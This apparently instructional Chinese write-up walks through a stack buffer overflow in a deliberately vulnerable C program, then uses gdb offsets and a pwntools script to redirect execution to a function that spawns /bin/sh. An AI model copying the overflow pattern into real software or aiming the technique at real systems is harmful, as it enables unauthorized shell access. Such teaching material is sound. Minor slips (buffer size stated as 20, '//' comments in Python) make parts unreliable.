内容:
#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);
}
int main()
{func();return 0;
}
我们要做的是利用溢出执行exploit函数
分析:
先执行func函数,func函数里有个read函数,read函数会读取我们在屏幕上输入的内容,但不会检查内容的多少,全部复制到str里,但str只能存取20个,如果超出这个值,会造成溢出,我们利用溢出,将ret的返回地址改为exlpoit的地址就可以取执行exploit函数了。
首先,把保护机制关了
gcc -no-pie -fno-stack-protector -z execstack -m32 -g -o 11.exe read.c
gdb运行调试
gdb 11.exe
start
找到exlpoit的首地址:0x804843b
查看main的反汇编:
调用func函数后,回来执行mov eax,0x0
我们再查看func的反汇编
执行ret语句后就去执行mov eax,0x0
,func函数调用了read函数,我们要利用read函数产生溢出,让执行ret完去执行exploit函数。这个时候我们看看栈内容。
在push ebp
之前,esp的内容是mov eax,0x0
的eip值,lea eax,[ebp-0x28]
是read读取内容的首地址,所以我们让执行ret完去执行exploit函数,只需让exploit的地址去覆盖栈里面mov eax,0x0
的eip值,从ebp-0x28
到mov eax,0x0
的eip值,地址相差0x28+0x4,因为在func函数里先push 了edp,所以还要加上0x4。
利用程序:
from pwn import *
p=process('./11.exe') //文件路径
offset = 0x28+0x4
payload ='a'*offset+p32(0x804843b) //0x804843b是exploit首地址
p.sendline(payload)
p.interactive()
运行,成功获得权限